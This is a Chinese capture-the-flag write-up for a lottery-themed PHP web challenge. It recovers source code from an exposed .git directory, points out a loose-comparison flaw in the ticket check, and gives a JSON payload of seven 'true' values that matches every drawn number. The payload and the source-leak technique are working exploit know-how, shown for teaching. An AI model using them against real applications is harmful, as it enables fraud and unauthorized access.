是道买彩票,中大奖,然后买flag的题目,并且题目附带源码,按理说原本应该是扫到.git目录,然后使用githack把源码下载下来的。
    将源码下载下来后,进行一顿分析,找到几个关键的地方:

    1. 生成随机数 ```php function random_num(){ do {

      1. $byte = openssl_random_pseudo_bytes(10, $cstrong);
      2. $num = ord($byte);

      } while ($num >= 250);

      if(!$cstrong){

      1. response_error('server need be checked, tell admin');

      }

      $num /= 25; return strval(floor($num)); }

    function random_win_nums(){ $result = ‘’; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; }

    1. 2. 购买彩票
    2. ```php
    3. function buy($req){
    4. require_registered();
    5. require_min_money(2);
    6. $money = $_SESSION['money'];
    7. $numbers = $req['numbers'];
    8. $win_numbers = random_win_nums();
    9. $same_count = 0;
    10. for($i=0; $i<7; $i++){
    11. if($numbers[$i] == $win_numbers[$i]){
    12. $same_count++;
    13. }
    14. }
    15. switch ($same_count) {
    16. case 2:
    17. $prize = 5;
    18. break;
    19. case 3:
    20. $prize = 20;
    21. break;
    22. case 4:
    23. $prize = 300;
    24. break;
    25. case 5:
    26. $prize = 1800;
    27. break;
    28. case 6:
    29. $prize = 200000;
    30. break;
    31. case 7:
    32. $prize = 5000000;
    33. break;
    34. default:
    35. $prize = 0;
    36. break;
    37. }
    38. $money += $prize - 2;
    39. $_SESSION['money'] = $money;
    40. response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
    41. }
    1. 购买flag

      1. function flag($req){
      2. global $flag;
      3. global $flag_price;
      4. require_registered();
      5. $money = $_SESSION['money'];
      6. if($money < $flag_price){
      7. response_error('you don\' have enough money');
      8. } else {
      9. $money -= $flag_price;
      10. $_SESSION['money'] = $money;
      11. $msg = 'Here is your flag: ' . $flag;
      12. response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
      13. }
      14. }

      可以看到,buy函数中有个很明显的弱类型比较漏洞:

      1. if($numbers[$i] == $win_numbers[$i]){
      2. $same_count++;
      3. }

      win_numbers是由random_win_nums函数返回的,所以类型就是字符串类型。
      根据php官方文档的弱类型比较表,true=="php" //boolean(true),所以构造一个长度为7的数组,内容都是true即可绕过。

      1. {
      2. "action":"buy",
      3. "numbers":[
      4. true,
      5. true,
      6. true,
      7. true,
      8. true,
      9. true,
      10. true
      11. ]
      12. }

      一直提交直到金额足够买flag即可。